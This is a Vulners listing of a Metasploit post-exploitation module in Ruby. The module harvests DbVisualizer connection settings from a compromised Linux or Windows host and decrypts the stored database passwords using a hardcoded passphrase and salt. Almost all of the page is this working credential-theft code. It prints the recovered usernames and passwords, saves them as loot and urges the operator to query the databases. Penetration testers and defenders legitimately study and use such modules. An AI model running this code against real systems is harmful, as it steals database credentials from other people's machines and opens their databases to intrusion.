Lucene search
K

Multi Gather DbVisualizer Connections Settings

🗓️ 14 Jul 2014 20:27:40Reported by David BloomType 
metasploit
 metasploit
🔗 www.rapid7.com👁 44 Views

Retrieving DbVisualizer connections settings, decrypting passwords

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'
require 'digest/md5'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather DbVisualizer Connections Settings',
        'Description' => %q{
          DbVisualizer stores the user database configuration in dbvis.xml.
          This module retrieves the connections settings from this file and decrypts the encrypted passwords.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
        'Platform' => %w[linux win],
        'SessionTypes' => [ 'meterpreter', 'shell'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
        OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
      ], super.class
    )
  end

  def run
    oldversion = false

    case session.platform
    when 'linux'
      user = session.shell_command('whoami').chomp
      print_status("Current user is #{user}")
      if user =~ /root/
        user_base = '/root/'
      else
        user_base = "/home/#{user}/"
      end
      dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
    when 'windows'
      if session.type == 'meterpreter'
        user_profile = session.sys.config.getenv('USERPROFILE')
      else
        user_profile = cmd_exec('echo %USERPROFILE%').strip
      end
      dbvis_file = user_profile + '\\.dbvis\\config70\\dbvis.xml'
    end

    unless file?(dbvis_file)
      # File not found, we next try with the old config path
      print_status("File not found: #{dbvis_file}")
      print_status('This could be an older version of dbvis, trying old path')
      case session.platform
      when 'linux'
        dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
      when 'windows'
        dbvis_file = user_profile + '\\.dbvis\\config\\dbvis.xml'
      end
      unless file?(dbvis_file)
        print_error("File not found: #{dbvis_file}")
        return
      end
      oldversion = true
    end

    print_status("Reading: #{dbvis_file}")
    print_line
    raw_xml = ''
    begin
      raw_xml = read_file(dbvis_file)
    rescue EOFError
      # If there's nothing in the file, we hit EOFError
      print_error("Nothing read from file: #{dbvis_file}, file may be empty")
      return
    end

    if oldversion
      # Parse old config file
      db_table = parse_old_config_file(raw_xml)
    else
      # Parse new config file
      db_table = parse_new_config_file(raw_xml)
    end

    if db_table.rows.empty?
      print_status('No database settings found')
    else
      print_line
      print_line(db_table.to_s)
      print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
      print_line
      # Store found databases in loot
      p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
      print_good("Databases settings stored in: #{p}")
    end

    print_status("Downloading #{dbvis_file}")
    p = store_loot('dbvis.xml', 'text/xml', session, read_file(dbvis_file), dbvis_file.to_s, 'dbvis config')
    print_good "dbvis.xml saved to #{p}"
  end

  # New config file parse function
  def parse_new_config_file(raw_xml)
    db_table = Rex::Text::Table.new(
      'Header' => 'DbVisualizer Databases',
      'Indent' => 2,
      'Columns' =>
      [
        'Alias',
        'Type',
        'Server',
        'Port',
        'Database',
        'Namespace',
        'UserID',
        'Password'
      ]
    )

    dbs = []
    db = {}
    dbfound = false
    version_found = false
    # fetch config file
    raw_xml.each_line do |line|
      if version_found == false
        version_found = find_version(line)
      end

      if line =~ /<Database id=/
        dbfound = true
      elsif line =~ %r{</Database>}
        dbfound = false
        if db[:Database].nil?
          db[:Database] = ''
        end
        if db[:Namespace].nil?
          db[:Namespace] = ''
        end
        # save
        dbs << db if (db[:Alias] && db[:Type] && db[:Server] && db[:Port])
        db = {}
      end

      next unless dbfound == true

      # get the alias
      if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
        db[:Alias] = ::Regexp.last_match(1)
      end

      # get the type
      if line =~ %r{<Type>([\S+\s+]+)</Type>}i
        db[:Type] = ::Regexp.last_match(1)
      end

      # get the user
      if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
        db[:UserID] = ::Regexp.last_match(1)
      end

      # get user password
      if line =~ %r{<Password>([\S+\s+]+)</Password>}i
        enc_password = ::Regexp.last_match(1)
        db[:Password] = decrypt_password(enc_password)
      end

      # get the server
      if line =~ %r{<UrlVariable UrlVariableName="Server">([\S+\s+]+)</UrlVariable>}i
        db[:Server] = ::Regexp.last_match(1)
      end

      # get the port
      if line =~ %r{<UrlVariable UrlVariableName="Port">([\S+\s+]+)</UrlVariable>}i
        db[:Port] = ::Regexp.last_match(1)
      end

      # get the database
      if line =~ %r{<UrlVariable UrlVariableName="Database">([\S+\s+]+)</UrlVariable>}i
        db[:Database] = ::Regexp.last_match(1)
      end

      # get the Namespace
      if line =~ %r{<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)</UrlVariable>}i
        db[:Namespace] = ::Regexp.last_match(1)
      end
    end

    # Fill the tab and report eligible servers
    dbs.each do |db|
      if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
        print_good("Reporting #{db[:Server]}")
        report_host(host: db[:Server])
      end

      db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
      report_cred(
        ip: db[:Server],
        port: db[:Port].to_i,
        service_name: db[:Type],
        username: db[:UserID],
        password: db[:Password]
      )
    end
    return db_table
  end

  # New config file parse function
  def parse_old_config_file(raw_xml)
    db_table = Rex::Text::Table.new(
      'Header' => 'DbVisualizer Databases',
      'Indent' => 2,
      'Columns' =>
      [
        'Alias',
        'Type',
        'URL',
        'UserID',
        'Password'
      ]
    )

    dbs = []
    db = {}
    dbfound = false
    version_found = false

    # fetch config file
    raw_xml.each_line do |line|
      if version_found == false
        vesrion_found = find_version(line)
      end

      if line =~ /<Database id=/
        dbfound = true
      elsif line =~ %r{</Database>}
        dbfound = false
        # save
        dbs << db if (db[:Alias] && db[:Url])
        db = {}
      end

      next unless dbfound == true

      # get the alias
      if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
        db[:Alias] = ::Regexp.last_match(1)
      end

      # get the type
      if line =~ %r{<Type>([\S+\s+]+)</Type>}i
        db[:Type] = ::Regexp.last_match(1)
      end

      # get the user
      if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
        db[:UserID] = ::Regexp.last_match(1)
      end

      # get the user password
      if line =~ %r{<Password>([\S+\s+]+)</Password>}i
        enc_password = ::Regexp.last_match(1)
        db[:Password] = decrypt_password(enc_password)
      end

      # get the server URL
      if line =~ %r{<Url>(\S+)</Url>}i
        db[:URL] = ::Regexp.last_match(1)
      end
    end

    # Fill the tab
    dbs.each do |db|
      if (db[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
        server = ::Regexp.last_match(1)
        if ::Rex::Socket.is_ipv4?(server)
          print_good("Reporting #{server}")
          report_host(host: server)
        end
      end
      db_table << [ db[:Alias], db[:Type], db[:URL], db[:UserID], db[:Password] ]
      report_cred(
        ip: server,
        port: '',
        service_name: db[:Type],
        username: db[:UserID],
        password: db[:Password]
      )
    end
    return db_table
  end

  def find_version(tag)
    found = false
    if tag =~ %r{<Version>([\S+\s+]+)</Version>}i
      found = true
      print_good("DbVisualizer version: #{::Regexp.last_match(1)}")
    end
    found
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      post_reference_name: refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: :password,
      username: opts[:username]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def decrypt_password(enc_password)
    enc_password = Rex::Text.decode_base64(enc_password)
    dk, iv = get_derived_key
    des = OpenSSL::Cipher.new('DES-CBC')
    des.decrypt
    des.key = dk
    des.iv = iv
    password = des.update(enc_password) + des.final
  end

  def get_derived_key
    key = passphrase + salt
    iteration_count.times do
      key = Digest::MD5.digest(key)
    end
    return key[0, 8], key[8, 8]
  end

  def salt
    [-114, 18, 57, -100, 7, 114, 111, 90].pack('C*')
  end

  def passphrase
    datastore['PASSPHRASE'] || 'qinda'
  end

  def iteration_count
    datastore['ITERATION_COUNT'] || 10
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation